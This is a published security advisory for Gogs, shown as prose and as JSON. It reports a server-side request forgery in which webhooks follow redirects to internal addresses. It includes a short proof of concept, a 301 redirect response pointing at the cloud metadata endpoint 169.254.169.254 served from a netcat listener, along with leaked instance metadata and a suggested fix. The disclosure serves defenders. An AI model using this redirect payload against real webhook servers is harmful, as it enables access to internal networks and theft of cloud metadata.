GHSA-C4V7-XG93-QF8G

Vulnerability from github – Published: 2026-06-22 22:44 – Updated: 2026-07-21 13:16
VLAI
Summary
Gogs has SSRF in webhook deliveries
Details

Summary

The fix for CVE-2022-1285 prevents adding webooks or running webhooks with URLs with a hostname that resolves in localCIDRs. However, webhooks still follow redirects allowing to access hostname inside localCIDRs.

This was already communicated in the initial report but it looks like there was a bit of a miscommunication.

Details

By creating a webook pointing to any URL that will return the following:

HTTP/1.1 301 Moved Permanently
Location: http://169.254.169.254/metadata/v1.json
Content-Length: 0
Connection: close

It is possible to access 169.254.169.254

PoC

  1. Run netcat on any server
  2. Use this server as the webhook URL
  3. Once you get the request from the webhook (for example by testing it), copy the response above

Results from running this on try.gogs:

{"droplet_id":456901166,"hostname":"gogs-do-nyc3-01","vendor_data":"Content-Type: multipart/mixed; boundary=\"===============8645434374073493512==\"\nMIME-Version: 1.0\n\n--===============8645434374073493512==\nMIME-Version: 1.0\nContent-Type: text/cloud-config; charset=\"us-ascii\"\nContent-Transfer-Encoding: 7bit\nContent-Disposition: attachment; filename=\"cloud-config\"\n\n#cloud-config\n\n# Enable root and password auth\ndisable_roo...{"dhcp_enabled":false,"vpc_peering_enabled":false},"dotty_status":"running","ssh_info":{"port":22}}

Impact

Server Side Request Forgery

Fix

The "simplest way" to fix it is most likely to leverage Client.CheckRedirect https://pkg.go.dev/net/http#hdr-Clients_and_Transports to check if the redirect is pointing to a blocked hostname

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.14.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "gogs.io/gogs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.14.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47267"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-22T22:44:57Z",
    "nvd_published_at": "2026-06-24T21:16:54Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe fix for  CVE-2022-1285 prevents adding webooks or running webhooks with URLs with a hostname that resolves in localCIDRs. However, webhooks still follow redirects allowing to access hostname inside localCIDRs.\n\nThis was already communicated in the initial report but it looks like there was a bit of a miscommunication.\n\n### Details\n\nBy creating a webook pointing to any URL that will return the following:\n\n```\nHTTP/1.1 301 Moved Permanently\nLocation: http://169.254.169.254/metadata/v1.json\nContent-Length: 0\nConnection: close\n```\nIt is possible to access 169.254.169.254\n\n### PoC\n\n1. Run netcat on any server\n2. Use this server as the webhook URL\n3. Once you get the request from the webhook (for example by testing it), copy the response above\n\nResults from running this on try.gogs:\n\n```\n{\"droplet_id\":456901166,\"hostname\":\"gogs-do-nyc3-01\",\"vendor_data\":\"Content-Type: multipart/mixed; boundary=\\\"===============8645434374073493512==\\\"\\nMIME-Version: 1.0\\n\\n--===============8645434374073493512==\\nMIME-Version: 1.0\\nContent-Type: text/cloud-config; charset=\\\"us-ascii\\\"\\nContent-Transfer-Encoding: 7bit\\nContent-Disposition: attachment; filename=\\\"cloud-config\\\"\\n\\n#cloud-config\\n\\n# Enable root and password auth\\ndisable_roo...{\"dhcp_enabled\":false,\"vpc_peering_enabled\":false},\"dotty_status\":\"running\",\"ssh_info\":{\"port\":22}}\n```\n\n### Impact\nServer Side Request Forgery\n\n### Fix\n\nThe \"simplest way\" to fix it is most likely to leverage Client.CheckRedirect https://pkg.go.dev/net/http#hdr-Clients_and_Transports to check if the redirect is pointing to a blocked hostname",
  "id": "GHSA-c4v7-xg93-qf8g",
  "modified": "2026-07-21T13:16:48Z",
  "published": "2026-06-22T22:44:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/security/advisories/GHSA-c4v7-xg93-qf8g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47267"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/pull/8263"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/commit/199cf4fd5bbe40b92f6dc8d649e241fd7a8d0018"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gogs/gogs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gogs has SSRF in webhook deliveries"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.